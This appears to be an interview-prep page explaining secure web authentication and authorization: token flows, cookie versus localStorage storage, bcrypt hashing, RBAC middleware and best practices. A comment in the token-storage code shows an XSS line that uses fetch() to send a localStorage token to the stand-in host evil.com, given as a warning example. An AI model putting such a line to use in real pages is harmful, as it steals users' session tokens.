SecurityWeb APIsMedium

Implementing secure authentication and authorization

01

The Short Answer

Authentication verifies who you are (identity). Authorization determines what you're allowed to do (permissions). A secure implementation combines both: authenticate users with credentials (passwords, OAuth, tokens), then authorize their actions based on roles or permissions. The modern standard is token-based auth (JWTs or opaque tokens) with short-lived access tokens and long-lived refresh tokens, enforced on both client and server.

02

Authentication vs Authorization

AspectAuthentication (AuthN)Authorization (AuthZ)
Question answeredWho are you?What can you do?
When it happensFirst — at login/session startAfter — on every protected action
MechanismCredentials, tokens, biometricsRoles, permissions, policies
Failure response401 Unauthorized403 Forbidden
ExampleUser logs in with email + passwordUser tries to delete another user's post
03

Token-Based Authentication Flow

The most common modern pattern uses short-lived access tokens (5-15 minutes) paired with long-lived refresh tokens (days/weeks). The access token is sent with every request. When it expires, the client uses the refresh token to get a new access token without requiring the user to log in again. This limits the damage window if an access token is stolen.

  • User submits credentials (email + password, OAuth code, etc.)
  • Server validates credentials against stored hash (bcrypt/argon2)
  • Server generates access token (short-lived JWT) + refresh token (long-lived, stored in DB)
  • Access token sent in Authorization header with every API request
  • Server validates token signature + expiration on each request
  • When access token expires, client sends refresh token to get a new pair
  • On logout, server invalidates the refresh token in the database
04

Secure Token Storage

Where you store tokens determines your vulnerability surface. HttpOnly cookies are the most secure for web apps because JavaScript can't access them (immune to XSS token theft). localStorage is convenient but vulnerable to XSS — any injected script can read and exfiltrate tokens. The tradeoff is between security and flexibility (cookies are origin-bound; localStorage works for any API).

token-storage.tstypescript
// ✅ Secure — HttpOnly cookie (server sets it, JS can't read it)
// Server response:
// Set-Cookie: access_token=eyJ...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900

// Browser automatically sends it with every request to the same origin
// No JavaScript code needed to attach the token

// ✅ Refresh token — HttpOnly cookie with restricted path
// Set-Cookie: refresh_token=abc...; HttpOnly; Secure; SameSite=Strict; Path=/api/auth/refresh; Max-Age=604800
// Only sent to the refresh endpoint — not exposed to other routes

// ❌ Vulnerable — localStorage (any XSS can steal it)
localStorage.setItem('access_token', token);
// If attacker injects: fetch('https://evil.com/steal?t=' + localStorage.getItem('access_token'))
// Your token is gone

// ⚠️ If you must use localStorage (e.g., calling third-party APIs):
// - Keep access tokens very short-lived (5 min)
// - Implement strict Content Security Policy
// - Sanitize all user input to prevent XSS
05

Password Security

Never store passwords in plain text or with weak hashing (MD5, SHA-256). Use adaptive hashing algorithms (bcrypt, argon2, scrypt) that are intentionally slow and include a salt. These algorithms make brute-force attacks computationally expensive. The cost factor should be tuned so hashing takes ~250ms — fast enough for login, slow enough to deter attackers.

password-hashing.tstypescript
import bcrypt from 'bcrypt';

const SALT_ROUNDS = 12; // ~250ms on modern hardware

// Registration — hash the password before storing
async function registerUser(email: string, password: string) {
  // Validate password strength first
  if (password.length < 8) throw new Error('Password too short');

  // bcrypt generates a unique salt and hashes in one step
  const passwordHash = await bcrypt.hash(password, SALT_ROUNDS);

  // Store the hash — NEVER the plain password
  await db.insert('users', { email, password_hash: passwordHash });
}

// Login — compare submitted password against stored hash
async function loginUser(email: string, password: string) {
  const user = await db.findByEmail(email);
  if (!user) {
    // Don't reveal whether email exists — same error for both cases
    throw new Error('Invalid credentials');
  }

  const isValid = await bcrypt.compare(password, user.password_hash);
  if (!isValid) {
    throw new Error('Invalid credentials'); // Same message — no enumeration
  }

  return generateTokens(user);
}

Notice the identical error messages for 'email not found' and 'wrong password'. This prevents user enumeration attacks where an attacker discovers which emails are registered by observing different error responses.

06

Authorization Patterns

Once authenticated, you need to control what users can do. The two main patterns are Role-Based Access Control (RBAC) — users have roles like admin, editor, viewer — and Attribute-Based Access Control (ABAC) — decisions based on attributes of the user, resource, and context. RBAC is simpler and sufficient for most apps. ABAC is more flexible for complex policies.

authorization.tstypescript
// Role-Based Access Control (RBAC)
type Role = 'admin' | 'editor' | 'viewer';

const PERMISSIONS: Record<Role, string[]> = {
  admin: ['read', 'write', 'delete', 'manage_users'],
  editor: ['read', 'write'],
  viewer: ['read'],
};

function authorize(userRole: Role, requiredPermission: string): boolean {
  return PERMISSIONS[userRole].includes(requiredPermission);
}

// Middleware example — check authorization on every request
async function authMiddleware(request: Request, requiredPermission: string) {
  // 1. Extract and validate token
  const token = request.headers.get('Authorization')?.replace('Bearer ', '');
  if (!token) return new Response('Unauthorized', { status: 401 });

  const payload = verifyToken(token);
  if (!payload) return new Response('Unauthorized', { status: 401 });

  // 2. Check authorization
  if (!authorize(payload.role, requiredPermission)) {
    return new Response('Forbidden', { status: 403 });
  }

  // 3. Proceed with the request
  return null; // No error — authorized
}

// Resource-level authorization (ownership check)
async function canEditPost(userId: string, postId: string): boolean {
  const post = await db.getPost(postId);
  // User can edit if they own it OR are an admin
  return post.authorId === userId || (await isAdmin(userId));
}
07

Security Best Practices

Always implement:

  • Rate limiting on login endpoints (prevent brute force)
  • Account lockout after N failed attempts (with exponential backoff)
  • HTTPS everywhere (tokens in transit must be encrypted)
  • CSRF protection for cookie-based auth (SameSite=Strict or CSRF tokens)
  • Token rotation on refresh (invalidate old refresh token when issuing new one)
  • Secure password reset flow (time-limited, single-use tokens sent to verified email)

Never do:

  • Store passwords in plain text or with MD5/SHA-256
  • Put sensitive data in JWT payload (it's base64, not encrypted)
  • Use long-lived access tokens (>15 minutes)
  • Reveal whether an email exists in error messages
  • Trust client-side authorization checks alone (always enforce on server)
  • Store tokens in localStorage if you can use HttpOnly cookies
08

Why Interviewers Ask This

This question tests whether you can design a secure system end-to-end. Interviewers want to see that you distinguish authentication from authorization, understand token lifecycle (access + refresh), know where to store tokens securely (HttpOnly cookies), implement proper password hashing, and think about attack vectors (XSS, CSRF, brute force, enumeration). It's a question where depth matters — surface-level answers ('use JWT') don't demonstrate security awareness.

Quick Revision Cheat Sheet

AuthN vs AuthZ: Authentication = who you are; Authorization = what you can do

Token strategy: Short-lived access token (5-15 min) + long-lived refresh token (days)

Storage: HttpOnly + Secure + SameSite cookies — immune to XSS token theft

Passwords: bcrypt/argon2 with cost factor ~250ms — never plain text or SHA

Authorization: RBAC for most apps; always enforce on server, never trust client alone

Key defenses: Rate limiting, account lockout, HTTPS, CSRF protection, token rotation